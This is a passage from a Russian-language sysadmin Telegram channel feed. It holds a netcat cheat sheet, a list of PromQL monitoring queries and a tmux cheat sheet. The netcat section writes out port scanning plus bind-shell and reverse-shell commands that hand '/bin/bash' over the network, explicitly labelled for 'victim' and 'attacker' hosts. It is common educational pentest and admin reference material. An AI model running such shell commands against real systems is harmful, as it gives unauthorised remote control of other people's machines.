Может устанавливать TCP/UDP-соединения, сканировать порты, прослушивать соединения и передавать данные между хостами.
🔧 Синтаксис:
nc [опции] [хост] [порт]📘 Основные опции:
-4 Использовать только IPv4
-6 Использовать только IPv6
-l Прослушивать соединения (сервер)
-v Подробный вывод
-n Не выполнять DNS-резолвинг
-s Указать исходный IP
-w Таймаут соединения
-u Использовать UDP вместо TCP
-k Не закрывать соединение после получения
-z Режим сканера портов🔍 Сканирование портов и баннерграббинг:
nc -zvn 192.168.59.1 20-100 # Скан портов от 20 до 100
nc -zvn 192.168.59.1 80 22 443 # Скан определённых портов
nc -zvn sysxplore.com 80 # Скан сайта
nc sysxplore.com 80 # Получение баннера🖥 Удалённая оболочка (Remote Shell):
На сервере (жертва):
nc -nlvp 8888 -e /bin/bashНа клиенте (атакующий):
nc 192.168.59.3 8888🔁 Обратная оболочка (Reverse Shell):
На атакующем хосте:
nc -nlvp 8888На жертве:
nc 192.168.59.3 8888 -e /bin/bash📥 Передача файлов:
Скачивание:
nc -nlvp 8888 > файл.txt # Получатель
nc хост 8888 < файл.txt # ОтправительЗагрузка:
nc -nlvp 8888 < файл.txt # Отправитель
nc хост 8888 > файл.txt # Получатель💬 Чат:
nc -nlvp 8888 # Один клиент
nc хост 8888 # Второй клиент🎥 Видеопоток:
cat видео.avi | nc -nlvp 8888 # Сервер
nc хост 8888 | mplayer -vo x11 - # Клиент📦 Сжатие и передача директорий:
Отправитель:
tar cfp - ./папка | nc хост 8888Получатель:
nc -l -p 8888 | uncompress | tar xvfp -🔐 Шифрование и передача:
Отправка:
nc -l -p 8888 | openssl enc -d -des3 -pass pass:пароль > файлПриём:
openssl enc -des3 -pass pass:пароль -in файл | nc хост 8888💽 Клонирование Linux-диска:
Отправитель:
dd if=/dev/sdX | nc -l -p 8888Получатель:
nc хост 8888 | dd of=/dev/sdX👉 @i_odmin_book
Forwarded from Этичный Хакер
Pure Bash Bible — охватывает обработку строк, массивов, файлов и многое другое
— Все преобразования производятся на чистом bash, без каких-либо зависимостей
Это идеальный справочник, если вы хотите ускорить свои скрипты и избавиться от ненужных зависимостей
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Книги для Системного Администратора
🔥 ТОП-20 полезных PromQL-запросов для системного администратора
📊 PromQL - язык запросов Prometheus для анализа метрик.
Часто нужные запросы для мониторинга CPU, RAM, дисков, сети и сервисов.
⚡ CPU
1. Загрузка CPU по ядрам
2. Средняя загрузка CPU на инстанс
3. CPU > 80% (для алерта)
🧠 Память
4. Использование RAM (%)
5. Swap usage (%)
💾 Диски
6. Свободное место на диске (%)
7. IOPS (операции в секунду)
8. Загрузка диска (busy time)
🌐 Сеть
9. Входящий трафик (байт/с)
10. Исходящий трафик (байт/с)
11. Ошибки сети
🌍 HTTP и сервисы
12. HTTP-запросы в секунду
13. Ошибки 5xx (%)
14. Время ответа (p95)
🛠️ Системные метрики
15. Load Average (1 мин)
16. Открытые TCP-сессии
17. Количество процессов
🔔 Метрики для алертов
18. Down (инстанс не отвечает)
19. Время работы (uptime)
20. Переполненные файловые дескрипторы
📌 Эти запросы можно сразу использовать в Grafana или в алертах Prometheus.
👉 @i_odmin_book
📊 PromQL - язык запросов Prometheus для анализа метрик.
Часто нужные запросы для мониторинга CPU, RAM, дисков, сети и сервисов.
⚡ CPU
1. Загрузка CPU по ядрам
rate(node_cpu_seconds_total{mode!="idle"}[5m])
2. Средняя загрузка CPU на инстанс
avg by(instance)(rate(node_cpu_seconds_total{mode!="idle"}[5m]))
3. CPU > 80% (для алерта)
100 - (avg by(instance)(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 80
🧠 Память
4. Использование RAM (%)
(1 - (node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes)) * 100
5. Swap usage (%)
(node_memory_SwapTotal_bytes - node_memory_SwapFree_bytes) / node_memory_SwapTotal_bytes * 100
💾 Диски
6. Свободное место на диске (%)
(node_filesystem_avail_bytes{fstype!="tmpfs"}
/ node_filesystem_size_bytes{fstype!="tmpfs"}) * 100
7. IOPS (операции в секунду)
rate(node_disk_reads_completed_total[5m])
+ rate(node_disk_writes_completed_total[5m])
8. Загрузка диска (busy time)
rate(node_disk_io_time_seconds_total[5m])
🌐 Сеть
9. Входящий трафик (байт/с)
rate(node_network_receive_bytes_total[5m])
10. Исходящий трафик (байт/с)
rate(node_network_transmit_bytes_total[5m])
11. Ошибки сети
rate(node_network_receive_errs_total[5m])
+ rate(node_network_transmit_errs_total[5m])
🌍 HTTP и сервисы
12. HTTP-запросы в секунду
rate(http_requests_total[5m])
13. Ошибки 5xx (%)
rate(http_requests_total{status=~"5.."}[5m])
/ rate(http_requests_total[5m]) * 100
14. Время ответа (p95)
histogram_quantile(0.95, rate(http_request_duration_seconds_bucket[5m]))
🛠️ Системные метрики
15. Load Average (1 мин)
node_load1
16. Открытые TCP-сессии
node_netstat_Tcp_CurrEstab
17. Количество процессов
node_processes_state
🔔 Метрики для алертов
18. Down (инстанс не отвечает)
up == 0
19. Время работы (uptime)
node_time_seconds - node_boot_time_seconds
20. Переполненные файловые дескрипторы
node_filefd_allocated / node_filefd_maximum * 100 > 80
📌 Эти запросы можно сразу использовать в Grafana или в алертах Prometheus.
👉 @i_odmin_book
Forwarded from Книги для Системного Администратора
Шпаргалка по работе с Tmux (терминальный мультиплексор)
1. Установка
CentOS (нужен подключенный репо EPEL)
Fedora
Ubuntu/Debian
2. Конфигурационные файлы
(пользователя, системный):
До версии 2.1
3. Работа с Tmux
Старт
Префикс (с него начинаются команды)
Новое окно (нажать CTRL+b, затем нажать с)
Список окон
Переключение
Окна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.
Деление окна горизонтально
либо команда
Деление окна вертикально
либо команда
Переход между панелей
Изменение размеров панелей
Закрытие окон
либо
Отключение от сессии
либо
Список сессий
Подключиться к работающей сессии
Выбрать сессию
Завершение сессии
Завершить все сессии
Список поддерживаемых комманд
Дополнительная информация
Мы в Max
👉 @i_odmin_book
1. Установка
CentOS (нужен подключенный репо EPEL)
# yum install tmux Fedora
# dnf install tmuxUbuntu/Debian
# apt-get install tmux2. Конфигурационные файлы
(пользователя, системный):
~/.tmux.conf
/etc/tmux.confДо версии 2.1
set -g mouse-resize-pane on
set -g mouse-select-pane on
set -g mouse-select-window on
set -g mode-mouse on3. Работа с Tmux
Старт
# tmux //без параметров будет создана сессия 0# tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.Префикс (с него начинаются команды)
<C-b> (CTRL + b)Новое окно (нажать CTRL+b, затем нажать с)
<C-b c>Список окон
<C-b w> // переключиться курсором вверх-внизПереключение
<C-b n> // следующее окно<C-b p> // предыдущее окно<C-b 0> // переключиться на номер окнаОкна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.
Деление окна горизонтально
<C-b ">либо команда
# tmux split-window -hДеление окна вертикально
<C-b %>либо команда
# tmux split-window -vПереход между панелей
<C-b стрелки курсора> // либо режим мышиИзменение размеров панелей
<C-b c-стрелки> // либо режим мышиЗакрытие окон
<C-b x> // нужно подтвердить yлибо
# exitОтключение от сессии
<C-b d>либо
# tmux detachСписок сессий
# tmux lsПодключиться к работающей сессии
# tmux attach //подключение к сессии, либо к единственной, либо последней созданной# tmux attach -t session1 // подключение к сессии session1Выбрать сессию
<C-b s>Завершение сессии
# tmux kill-session -t session1Завершить все сессии
# tmux kill-serverСписок поддерживаемых комманд
# tmux list-commandsДополнительная информация
# man tmuxМы в Max
👉 @i_odmin_book